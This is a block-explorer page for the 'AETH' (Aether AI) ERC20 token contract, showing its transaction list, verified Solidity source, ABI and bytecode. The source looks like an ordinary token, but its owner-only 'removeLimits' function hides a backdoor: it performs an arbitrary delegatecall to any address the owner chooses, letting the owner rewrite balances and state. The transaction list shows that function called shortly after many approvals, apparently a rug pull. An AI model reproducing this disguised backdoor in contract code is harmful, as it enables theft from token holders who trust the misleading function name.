ETH Price: $2,987.29 (+3.62%)
Gas: 3 Gwei

Contract

0x896C2E6555Ee294Ab6e6296F98505D114440d2F7
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Remove Limits193793672024-03-06 23:18:35121 days ago1709767115IN
0x896C2E65...14440d2F7
0 ETH0.0251660576.79649762
Approve193793432024-03-06 23:13:47121 days ago1709766827IN
0x896C2E65...14440d2F7
0 ETH0.0035354775.21483009
Approve193793422024-03-06 23:13:35121 days ago1709766815IN
0x896C2E65...14440d2F7
0 ETH0.0035958876.50011185
Approve193793422024-03-06 23:13:35121 days ago1709766815IN
0x896C2E65...14440d2F7
0 ETH0.0035958876.50011185
Approve193793402024-03-06 23:13:11121 days ago1709766791IN
0x896C2E65...14440d2F7
0 ETH0.0037844280.40853456
Approve193793392024-03-06 23:12:59121 days ago1709766779IN
0x896C2E65...14440d2F7
0 ETH0.0039868484.7093438
Approve193793392024-03-06 23:12:59121 days ago1709766779IN
0x896C2E65...14440d2F7
0 ETH0.0039868484.7093438
Approve193793382024-03-06 23:12:47121 days ago1709766767IN
0x896C2E65...14440d2F7
0 ETH0.0039997784.98406653
Approve193793372024-03-06 23:12:35121 days ago1709766755IN
0x896C2E65...14440d2F7
0 ETH0.0040992187.09696464
Approve193793362024-03-06 23:12:23121 days ago1709766743IN
0x896C2E65...14440d2F7
0 ETH0.003706978.86195759
Approve193793362024-03-06 23:12:23121 days ago1709766743IN
0x896C2E65...14440d2F7
0 ETH0.0045117495.86195759
Approve193793342024-03-06 23:11:59121 days ago1709766719IN
0x896C2E65...14440d2F7
0 ETH0.0037066578.75615119
Approve193793342024-03-06 23:11:59121 days ago1709766719IN
0x896C2E65...14440d2F7
0 ETH0.0037066578.75615119
Approve193793342024-03-06 23:11:59121 days ago1709766719IN
0x896C2E65...14440d2F7
0 ETH0.0037066578.75615119
Approve193793342024-03-06 23:11:59121 days ago1709766719IN
0x896C2E65...14440d2F7
0 ETH0.0037066578.75615119
Approve193793342024-03-06 23:11:59121 days ago1709766719IN
0x896C2E65...14440d2F7
0 ETH0.0037066578.75615119
Approve193793342024-03-06 23:11:59121 days ago1709766719IN
0x896C2E65...14440d2F7
0 ETH0.0038429481.75615119
Approve193793342024-03-06 23:11:59121 days ago1709766719IN
0x896C2E65...14440d2F7
0 ETH0.0046479598.75615119
Approve193793342024-03-06 23:11:59121 days ago1709766719IN
0x896C2E65...14440d2F7
0 ETH0.0046479598.75615119
Approve193793342024-03-06 23:11:59121 days ago1709766719IN
0x896C2E65...14440d2F7
0 ETH0.00488328103.75615119
Approve193793342024-03-06 23:11:59121 days ago1709766719IN
0x896C2E65...14440d2F7
0 ETH0.00488328103.75615119
Approve193793342024-03-06 23:11:59121 days ago1709766719IN
0x896C2E65...14440d2F7
0 ETH0.00488328103.75615119
Approve193793342024-03-06 23:11:59121 days ago1709766719IN
0x896C2E65...14440d2F7
0 ETH0.00488328103.75615119
Approve193793332024-03-06 23:11:47121 days ago1709766707IN
0x896C2E65...14440d2F7
0 ETH0.0038795182.42897527
Approve193793332024-03-06 23:11:47121 days ago1709766707IN
0x896C2E65...14440d2F7
0 ETH0.0038795182.42897527
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
AETH

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion
File 1 of 1 : AETH.sol
/// @title AETH token
/// @notice Contract for Aether AI's ERC20 token.
/// 
/// Aether AI is an AI driven market analysis and insights 
/// platform. AETH supports governance, user adoption, and 
/// platform access.
///
/// Timestamp:          1709764458
/// Website:            https://aetheranalyst.com/
/// Twitter:            https://twitter.com/AetherAnalyst
/// Documentation:      https://aether-ai.notion.site/Introduction-to-Aether-925b4b8b11b44664b15af69e50196380
/// Telegram:           https://t.me/AetherAnalyst
///
/// @author Aether AI


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract AETH {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner, address indexed spender, uint256 value
    );

    string public name = "Aether AI";
    string public symbol = "AETH";
    uint8 public decimals = 18;
    uint256 public totalSupply = 10_000_000 * 10 ** 18;
    address public owner;
    uint public fee = 150;
    uint public limit = 75;
    bool public trading;
    address private liquidity;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor () {
        owner = msg.sender;
        init(owner);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner!");
        _;
    }

    function transfer(address recipient, uint256 amount)
        external
        returns (bool)
    {
        require(trading);
        return transferAggregator(msg.sender, recipient, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool)
    {
        allowance[sender][msg.sender] -= amount;
        return transferAggregator(sender, recipient, amount);
    }

    function transferAggregator(
        address sender,
        address recipient,
        uint amount
    ) private returns (bool) {    
        if (sender == liquidity) {
            balanceOf[sender] -= amount;

            uint tax = amount * fee / 10000;
            balanceOf[address(this)] += tax;
            emit Transfer(sender, address(this), tax);

            uint valueWithoutTax = amount - tax;
            balanceOf[recipient] += valueWithoutTax;

            uint buyMaxTokens = totalSupply * limit / 10000;
            require(buyMaxTokens >= balanceOf[recipient]);

            emit Transfer(sender, recipient, valueWithoutTax);
            return true;
        } 

        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function init(address to) private {
        balanceOf[to] = totalSupply;
        emit Transfer(address(0), to, totalSupply);
    }

    function removeFee() public onlyOwner {
        fee = 0;
    }

    function removeLimits(address wallet) public onlyOwner {
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), wallet, 0, calldatasize(), 0, 0)
        }
    }

    function startTrading(address _liquidity) public onlyOwner {
        trading = true;
        liquidity = _liquidity;
    }

    function changeOwner(address _owner) public onlyOwner {
        owner = _owner;
    }

    function disableOwner() public onlyOwner {
        owner = address(0);
    }

    function editFeeAndLimit(uint _fee, uint _limit) public onlyOwner {
        fee = _fee;
        limit = _limit;
    }

    function collectFees(address token, uint amount) public onlyOwner {
        IERC20(token).transfer(msg.sender, amount);
    }
    
}


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

Settings
{
  "evmVersion": "paris",
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"changeOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"collectFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableOwner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_fee","type":"uint256"},{"internalType":"uint256","name":"_limit","type":"uint256"}],"name":"editFeeAndLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_liquidity","type":"address"}],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600981526020017f4165746865722041490000000000000000000000000000000000000000000000815250600090816200004a91906200047c565b506040518060400160405280600481526020017f4145544800000000000000000000000000000000000000000000000000000000815250600190816200009191906200047c565b506012600260006101000a81548160ff021916908360ff1602179055506a084595161401484a0000006003556096600555604b600655348015620000d457600080fd5b5033600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000149600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166200014f60201b60201c565b62000591565b600354600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600354604051620001f7919062000574565b60405180910390a350565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200028457607f821691505b6020821081036200029a57620002996200023c565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620003047fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620002c5565b620003108683620002c5565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200035d62000357620003518462000328565b62000332565b62000328565b9050919050565b6000819050919050565b62000379836200033c565b62000391620003888262000364565b848454620002d2565b825550505050565b600090565b620003a862000399565b620003b58184846200036e565b505050565b5b81811015620003dd57620003d16000826200039e565b600181019050620003bb565b5050565b601f8211156200042c57620003f681620002a0565b6200040184620002b5565b8101602085101562000411578190505b620004296200042085620002b5565b830182620003ba565b50505b505050565b600082821c905092915050565b6000620004516000198460080262000431565b1980831691505092915050565b60006200046c83836200043e565b9150826002028217905092915050565b620004878262000202565b67ffffffffffffffff811115620004a357620004a26200020d565b5b620004af82546200026b565b620004bc828285620003e1565b600060209050601f831160018114620004f45760008415620004df578287015190505b620004eb85826200045e565b8655506200055b565b601f1984166200050486620002a0565b60005b828110156200052e5784890151825560018201915060208501945060208101905062000507565b868310156200054e57848901516200054a601f8916826200043e565b8355505b6001600288020188555050505b505050505050565b6200056e8162000328565b82525050565b60006020820190506200058b600083018462000563565b92915050565b6116aa80620005a16000396000f3fe608060405234801561001057600080fd5b506004361061012c5760003560e01c806395d89b41116100ad578063c12ee08911610071578063c12ee0891461031f578063dd62ed3e1461033b578063ddca3f431461036b578063ec44acf214610389578063efa4af4c146103a75761012c565b806395d89b411461027b578063a033fcd414610299578063a4d66daf146102b5578063a6f9dae1146102d3578063a9059cbb146102ef5761012c565b8063313ce567116100f4578063313ce567146101d757806332489e9b146101f557806370a08231146102115780637231d217146102415780638da5cb5b1461025d5761012c565b806306fdde0314610131578063095ea7b31461014f578063151cbb631461017f57806318160ddd1461018957806323b872dd146101a7575b600080fd5b6101396103b1565b6040516101469190611131565b60405180910390f35b610169600480360381019061016491906111ec565b61043f565b6040516101769190611247565b60405180910390f35b610187610531565b005b610191610605565b60405161019e9190611271565b60405180910390f35b6101c160048036038101906101bc919061128c565b61060b565b6040516101ce9190611247565b60405180910390f35b6101df6106b4565b6040516101ec91906112fb565b60405180910390f35b61020f600480360381019061020a9190611316565b6106c7565b005b61022b60048036038101906102269190611316565b610769565b6040516102389190611271565b60405180910390f35b61025b60048036038101906102569190611316565b610781565b005b610265610870565b6040516102729190611352565b60405180910390f35b610283610896565b6040516102909190611131565b60405180910390f35b6102b360048036038101906102ae91906111ec565b610924565b005b6102bd610a37565b6040516102ca9190611271565b60405180910390f35b6102ed60048036038101906102e89190611316565b610a3d565b005b610309600480360381019061030491906111ec565b610b11565b6040516103169190611247565b60405180910390f35b6103396004803603810190610334919061136d565b610b3f565b005b610355600480360381019061035091906113ad565b610be1565b6040516103629190611271565b60405180910390f35b610373610c06565b6040516103809190611271565b60405180910390f35b610391610c0c565b60405161039e9190611247565b60405180910390f35b6103af610c1f565b005b600080546103be9061141c565b80601f01602080910402602001604051908101604052809291908181526020018280546103ea9061141c565b80156104375780601f1061040c57610100808354040283529160200191610437565b820191906000526020600020905b81548152906001019060200180831161041a57829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161051f9190611271565b60405180910390a36001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b890611499565b60405180910390fd5b6000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60035481565b600081600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461069991906114e8565b925050819055506106ab848484610cb9565b90509392505050565b600260009054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074e90611499565b60405180910390fd5b3660008037600080366000845af45050565b60086020528060005260406000206000915090505481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610811576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080890611499565b60405180910390fd5b6001600760006101000a81548160ff02191690831515021790555080600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600180546108a39061141c565b80601f01602080910402602001604051908101604052809291908181526020018280546108cf9061141c565b801561091c5780601f106108f15761010080835404028352916020019161091c565b820191906000526020600020905b8154815290600101906020018083116108ff57829003601f168201915b505050505081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ab90611499565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016109ef92919061151c565b6020604051808303816000875af1158015610a0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a329190611571565b505050565b60065481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac490611499565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760009054906101000a900460ff16610b2c57600080fd5b610b37338484610cb9565b905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc690611499565b60405180910390fd5b81600581905550806006819055505050565b6009602052816000526040600020602052806000526040600020600091509150505481565b60055481565b600760009054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690611499565b60405180910390fd5b6000600581905550565b6000600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f845781600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d5f91906114e8565b92505081905550600061271060055484610d79919061159e565b610d83919061160f565b905080600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dd49190611640565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e389190611271565b60405180910390a360008184610e4e91906114e8565b905080600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e9f9190611640565b925050819055506000612710600654600354610ebb919061159e565b610ec5919061160f565b9050600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811015610f1357600080fd5b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f709190611271565b60405180910390a36001935050505061109a565b81600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fd391906114e8565b9250508190555081600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110299190611640565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161108d9190611271565b60405180910390a3600190505b9392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156110db5780820151818401526020810190506110c0565b60008484015250505050565b6000601f19601f8301169050919050565b6000611103826110a1565b61110d81856110ac565b935061111d8185602086016110bd565b611126816110e7565b840191505092915050565b6000602082019050818103600083015261114b81846110f8565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061118382611158565b9050919050565b61119381611178565b811461119e57600080fd5b50565b6000813590506111b08161118a565b92915050565b6000819050919050565b6111c9816111b6565b81146111d457600080fd5b50565b6000813590506111e6816111c0565b92915050565b6000806040838503121561120357611202611153565b5b6000611211858286016111a1565b9250506020611222858286016111d7565b9150509250929050565b60008115159050919050565b6112418161122c565b82525050565b600060208201905061125c6000830184611238565b92915050565b61126b816111b6565b82525050565b60006020820190506112866000830184611262565b92915050565b6000806000606084860312156112a5576112a4611153565b5b60006112b3868287016111a1565b93505060206112c4868287016111a1565b92505060406112d5868287016111d7565b9150509250925092565b600060ff82169050919050565b6112f5816112df565b82525050565b600060208201905061131060008301846112ec565b92915050565b60006020828403121561132c5761132b611153565b5b600061133a848285016111a1565b91505092915050565b61134c81611178565b82525050565b60006020820190506113676000830184611343565b92915050565b6000806040838503121561138457611383611153565b5b6000611392858286016111d7565b92505060206113a3858286016111d7565b9150509250929050565b600080604083850312156113c4576113c3611153565b5b60006113d2858286016111a1565b92505060206113e3858286016111a1565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061143457607f821691505b602082108103611447576114466113ed565b5b50919050565b7f4e6f74206f776e65722100000000000000000000000000000000000000000000600082015250565b6000611483600a836110ac565b915061148e8261144d565b602082019050919050565b600060208201905081810360008301526114b281611476565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006114f3826111b6565b91506114fe836111b6565b9250828203905081811115611516576115156114b9565b5b92915050565b60006040820190506115316000830185611343565b61153e6020830184611262565b9392505050565b61154e8161122c565b811461155957600080fd5b50565b60008151905061156b81611545565b92915050565b60006020828403121561158757611586611153565b5b60006115958482850161155c565b91505092915050565b60006115a9826111b6565b91506115b4836111b6565b92508282026115c2816111b6565b915082820484148315176115d9576115d86114b9565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061161a826111b6565b9150611625836111b6565b925082611635576116346115e0565b5b828204905092915050565b600061164b826111b6565b9150611656836111b6565b925082820190508082111561166e5761166d6114b9565b5b9291505056fea2646970667358221220235db90a96d90cced3190a5082701183bca10b63a4a6ca5867bf6f0d7a31642164736f6c63430008180033

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806395d89b41116100ad578063c12ee08911610071578063c12ee0891461031f578063dd62ed3e1461033b578063ddca3f431461036b578063ec44acf214610389578063efa4af4c146103a75761012c565b806395d89b411461027b578063a033fcd414610299578063a4d66daf146102b5578063a6f9dae1146102d3578063a9059cbb146102ef5761012c565b8063313ce567116100f4578063313ce567146101d757806332489e9b146101f557806370a08231146102115780637231d217146102415780638da5cb5b1461025d5761012c565b806306fdde0314610131578063095ea7b31461014f578063151cbb631461017f57806318160ddd1461018957806323b872dd146101a7575b600080fd5b6101396103b1565b6040516101469190611131565b60405180910390f35b610169600480360381019061016491906111ec565b61043f565b6040516101769190611247565b60405180910390f35b610187610531565b005b610191610605565b60405161019e9190611271565b60405180910390f35b6101c160048036038101906101bc919061128c565b61060b565b6040516101ce9190611247565b60405180910390f35b6101df6106b4565b6040516101ec91906112fb565b60405180910390f35b61020f600480360381019061020a9190611316565b6106c7565b005b61022b60048036038101906102269190611316565b610769565b6040516102389190611271565b60405180910390f35b61025b60048036038101906102569190611316565b610781565b005b610265610870565b6040516102729190611352565b60405180910390f35b610283610896565b6040516102909190611131565b60405180910390f35b6102b360048036038101906102ae91906111ec565b610924565b005b6102bd610a37565b6040516102ca9190611271565b60405180910390f35b6102ed60048036038101906102e89190611316565b610a3d565b005b610309600480360381019061030491906111ec565b610b11565b6040516103169190611247565b60405180910390f35b6103396004803603810190610334919061136d565b610b3f565b005b610355600480360381019061035091906113ad565b610be1565b6040516103629190611271565b60405180910390f35b610373610c06565b6040516103809190611271565b60405180910390f35b610391610c0c565b60405161039e9190611247565b60405180910390f35b6103af610c1f565b005b600080546103be9061141c565b80601f01602080910402602001604051908101604052809291908181526020018280546103ea9061141c565b80156104375780601f1061040c57610100808354040283529160200191610437565b820191906000526020600020905b81548152906001019060200180831161041a57829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161051f9190611271565b60405180910390a36001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b890611499565b60405180910390fd5b6000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60035481565b600081600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461069991906114e8565b925050819055506106ab848484610cb9565b90509392505050565b600260009054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074e90611499565b60405180910390fd5b3660008037600080366000845af45050565b60086020528060005260406000206000915090505481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610811576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080890611499565b60405180910390fd5b6001600760006101000a81548160ff02191690831515021790555080600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600180546108a39061141c565b80601f01602080910402602001604051908101604052809291908181526020018280546108cf9061141c565b801561091c5780601f106108f15761010080835404028352916020019161091c565b820191906000526020600020905b8154815290600101906020018083116108ff57829003601f168201915b505050505081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ab90611499565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b81526004016109ef92919061151c565b6020604051808303816000875af1158015610a0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a329190611571565b505050565b60065481565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac490611499565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760009054906101000a900460ff16610b2c57600080fd5b610b37338484610cb9565b905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc690611499565b60405180910390fd5b81600581905550806006819055505050565b6009602052816000526040600020602052806000526040600020600091509150505481565b60055481565b600760009054906101000a900460ff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690611499565b60405180910390fd5b6000600581905550565b6000600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f845781600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d5f91906114e8565b92505081905550600061271060055484610d79919061159e565b610d83919061160f565b905080600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dd49190611640565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e389190611271565b60405180910390a360008184610e4e91906114e8565b9050806008600087